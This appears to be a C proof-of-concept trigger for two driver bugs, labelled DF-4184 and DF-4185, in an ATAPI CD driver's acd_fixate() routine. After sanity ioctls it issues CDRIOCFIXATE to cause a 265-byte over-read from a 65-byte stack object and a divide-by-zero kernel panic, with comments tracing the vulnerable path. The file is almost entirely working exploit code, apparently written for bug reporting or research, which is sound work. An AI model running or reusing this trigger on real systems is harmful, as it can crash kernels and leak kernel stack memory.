/*
 * DF-4184 / DF-4185 PoC trigger
 * acd_fixate() over-read of 65-byte stack write_param (DF-4184)
 * acd_fixate() divide-by-zero via cur_write_speed==0 (DF-4185)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/cdrio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/acd0";
	int fd, error;
	struct ioc_toc_header th;
	struct ioc_read_toc_entry te;
	static struct cd_toc_entry tab[128];
	int bs;

	fd = open(dev, O_RDONLY | O_NONBLOCK);
	if (fd < 0) {
		printf("open %s: %s\n", dev, strerror(errno));
		exit(1);
	}
	printf("opened %s fd=%d uid=%d euid=%d\n", dev, fd, getuid(), geteuid());

	/* sanity: TOC header read (boot DVD present) */
	if (ioctl(fd, CDIOREADTOCHEADER, &th) == 0)
		printf("TOC: starting=%d ending=%d len=%d\n",
		    th.starting_track, th.ending_track, th.len);
	else
		printf("CDIOREADTOCHEADER: %s\n", strerror(errno));

	/* sanity: CDIOREADTOCENTRYS with crafted large data_len (bounds negative test) */
	memset(&te, 0, sizeof(te));
	te.address_format = CD_LBA_FORMAT;
	te.starting_track = 1;
	te.data_len = 0xffff;		/* > sizeof(toc->tab) -> must EINVAL */
	te.data = tab;
	errno = 0;
	error = ioctl(fd, CDIOREADTOCENTRYS, &te);
	printf("READTOCENTRYS data_len=0xffff -> ret=%d errno=%d (%s)  [expect EINVAL]\n",
	    error, errno, strerror(errno));

	/* sanity: block size query */
	errno = 0;
	error = ioctl(fd, CDRIOCGETBLOCKSIZE, &bs);
	printf("CDRIOCGETBLOCKSIZE -> ret=%d bs=%d\n", error, bs);

	/*
	 * THE TRIGGER: CDRIOCFIXATE.
	 * acd_fixate():
	 *   1. mode_sense(WRITE_PARAMETERS_PAGE) into stack `struct write_param param`(65B)
	 *   2. mode_select(&param, param.page_length + 10)   <-- DF-4184:
	 *        device-fed page_length=0xff => 265-byte DATA-OUT from 65-byte stack obj
	 *   3. CLOSE_TRACK; test_ready; timeout /= (cur_write_speed / 177)
	 *        cur_write_speed==0 (cap senses failed at attach) => DF-4185 div0 panic
	 */
	errno = 0;
	error = ioctl(fd, CDRIOCFIXATE, &bs);
	printf("CDRIOCFIXATE -> ret=%d errno=%d (%s)\n", error, errno, strerror(errno));

	printf("survived (no panic)\n");
	close(fd);
	return (0);
}
